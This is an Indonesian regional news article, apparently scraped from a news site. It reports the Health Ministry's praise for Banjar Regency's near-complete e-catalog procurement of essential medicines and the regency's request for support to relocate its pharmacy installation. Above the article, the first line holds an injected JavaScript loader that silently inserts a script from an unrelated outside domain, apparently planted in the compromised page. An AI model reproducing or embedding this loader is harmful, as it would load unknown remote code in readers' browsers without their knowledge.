(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Kementerian Kesehatan Republik Indonesia mengapresiasi kinerja Pemerintah Kabupaten Banjar dalam upaya menyediakan obat-obatan bagi masyarakat. Kabupaten Banjar melalui Dinas Kesehatan setempat bahkan mampu menyediakan obat-obatan essensial melalui system e catalog, hampir 100 persen.
Apresiasi disampaikan Direktur Jenderal Kefarmasian dan Alat Kesehatan, Maura Linda Sitanggang, pada acara Penyerahan DAK, bidang farmasi melalui optimalisasi system e catalog dalam pengadaan obat dan lerbekalan kesehatan serta penyerahan proposal rencana relokasi instalasi farmasi di Kantor Kementerian Kesehatan RI Jakarta, Jumat (24/2).
Hadir pada kesempatan itu Bupati Banjar H Khalilurrahman, Kepala Dinas Kesehatan Ikhwansyah, Kepala Dinas Kominfo, Statistik dan Persandian Farid Soufian, Plt Direktur RSUD Ratu Zalecha Eko Subianto serta Ketua TP PKK Banjar, Raudhatul Wardiyah.
Maura menjelaskan, bahwa penyediaan obat di Kabupaten Banjar menggunakan e purchasing mencapai 97 persen adalah luar biasa.
“Capaian di angka 97 persen tersebut sangat bagus dan bisa menjadi contoh bagi daerah lain di Indonesia. Kita akan ajak daerah lain untuk belajar dari Kabupaten Banjar,” tandasnya.
Catatan di Kementerian Kesehatan RI, bahwa ketersediaan 20 jenis obat essensial di Kabupaten Banjar pada 2017 lalu mencapai 91,7 persen dan telah malampaui target nasional sebesar 85 persen.
“Memang masih ada dua puskesmas yang belum memenuhi capaian ketersediaan obat essensial, namun mungkin karena memang tidak membutuhkan. Saran kami, kalau jenis obat tersebut tidak dibutuhkan jangan ditulis nol, namun ditulis NS atau tidak dibutuhkan,” jelas Direktur Tata Kelola Obat Publik dan Perbekalan Kesehatan Kemenkes RI, Engko Sosialine.
Bupati Banjar H khalilurrahman, berterima kasih atas penghargaan yanh diberikan oleh Kementerian Kesehatan RI kepada Kabupaten Banjar. Bupati menjelaskan bahwa daerah yang dipimpinnya sangatlah luas dan ada beberapa yang masuk kawasan terpencil.
“Sektor kesehatan menjadi salah satu prioritas dalam pembangunan di Kabupaten Banjar, sehingga sangat memerlukan dukungan dari pemerintah pusat terutama kementerian kesehatan,” terangnya.
Kepala Dinas Kesehatan Ikhwansyah menambahkan, bahwa dukungan tersebut salah satunya adalah pembangunan fisik instalasi farmasi dan perbekalan Kabupaten Banjar. Menurut Ikwansyah, saat ini instalasi farmasi Kabupaten Banjar masih berada di wilayah Kota Banjarbaru yang dulunya merupakan bagian dari Kabupaten Banjar.
“Kami bermaksud membangun gedung di wilayah Kabupaten Banjar, dan lahannya sudah kami sediakan. Untuk itu mohon dukungan dari kementerian kesehatan, ” ujarnya, diiyakan Kepala UPT Instalasi Farmasi Arief Rahman.
Pertemuan kemarin juga diselingi dengan diskusi seputar penyediaan obat dan sarana kesehatan, dengan tujuan peningkatan derajat pelayanan kesehatan di Kabupaten Banjar. (hendera)
KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
This website uses cookies.